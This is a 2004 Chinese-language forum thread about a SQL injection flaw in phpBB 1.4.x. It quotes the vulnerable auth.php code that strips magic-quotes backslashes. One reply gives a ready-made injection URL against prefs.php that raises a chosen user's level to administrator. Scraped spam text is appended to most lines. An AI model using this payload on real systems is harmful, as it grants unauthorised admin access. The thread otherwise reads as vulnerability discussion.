citycool 发表于 2004-4-6 17:10sqp中国域名交易资讯网

phpbb

phpBB 是一个开放源码的电子公告牌系统。但是发现它的 phpBB 1.4.X 版本在对变量输入的验证上存在问题。sqp中国域名交易资讯网
sqp中国域名交易资讯网
这可能导致对受影响系统的任意 sql 请求被通过。sqp中国域名交易资讯网
sqp中国域名交易资讯网
问题在于 phpBB 1.4.X 的 auth.php 文件中有一个运算法则，它会移去 PHP 自动加到 GPC 变量(Get/post/Cookie)的反斜线。sqp中国域名交易资讯网
<Example code from auth.php> sqp中国域名交易资讯网
sqp中国域名交易资讯网
sqp中国域名交易资讯网
if(get_magic_quotes_gpc() == 1) sqp中国域名交易资讯网
{ sqp中国域名交易资讯网
switch($REQUEST_METHOD){ sqp中国域名交易资讯网
  case "POST": sqp中国域名交易资讯网
    while (list ($key, $val) = each sqp中国域名交易资讯网
($HTTP_POST_VARS)){ sqp中国域名交易资讯网
      if( is_array($val) ){ sqp中国域名交易资讯网
        array_walk($val, 'stripslashes_array', ''); sqp中国域名交易资讯网
        $$key = $val;} sqp中国域名交易资讯网
    else{ sqp中国域名交易资讯网
      $$key = stripslashes($val);} sqp中国域名交易资讯网
    } sqp中国域名交易资讯网
  break; sqp中国域名交易资讯网
sqp中国域名交易资讯网
sqp中国域名交易资讯网
</ End example code>sqp中国域名交易资讯网
sqp中国域名交易资讯网
sqp中国域名交易资讯网
一个朋友发给我的...闷闷~~~~

我本豪情 发表于 2004-4-6 17:19sqp中国域名交易资讯网

可以利用？

citycool 发表于 2004-4-6 17:47sqp中国域名交易资讯网

是的。。但是是1.4 x 旧版的才行。。现在官方的2.0.3  #_#  晕~~~。。sqp中国域名交易资讯网
sqp中国域名交易资讯网
[url]http://sitename/phpBBfolder/prefs.php?save=1[/url] sqp中国域名交易资讯网
&viewemail=1',user_level%3D'4'%20where% sqp中国域名交易资讯网
20username%3D'l337h4x0r'%23

loguin 发表于 2004-4-7 00:33sqp中国域名交易资讯网

现在都2.08了

mac 发表于 2004-4-7 08:16sqp中国域名交易资讯网

这个BUG也太OOOOOOOOOOOLD了

chht 发表于 2004-4-7 08:46sqp中国域名交易资讯网

哈哈~~~

gary9912 发表于 2004-4-7 12:24sqp中国域名交易资讯网

cnphpbb.comsqp中国域名交易资讯网
sqp中国域名交易资讯网
这里的是旧版的,...sqp中国域名交易资讯网
sqp中国域名交易资讯网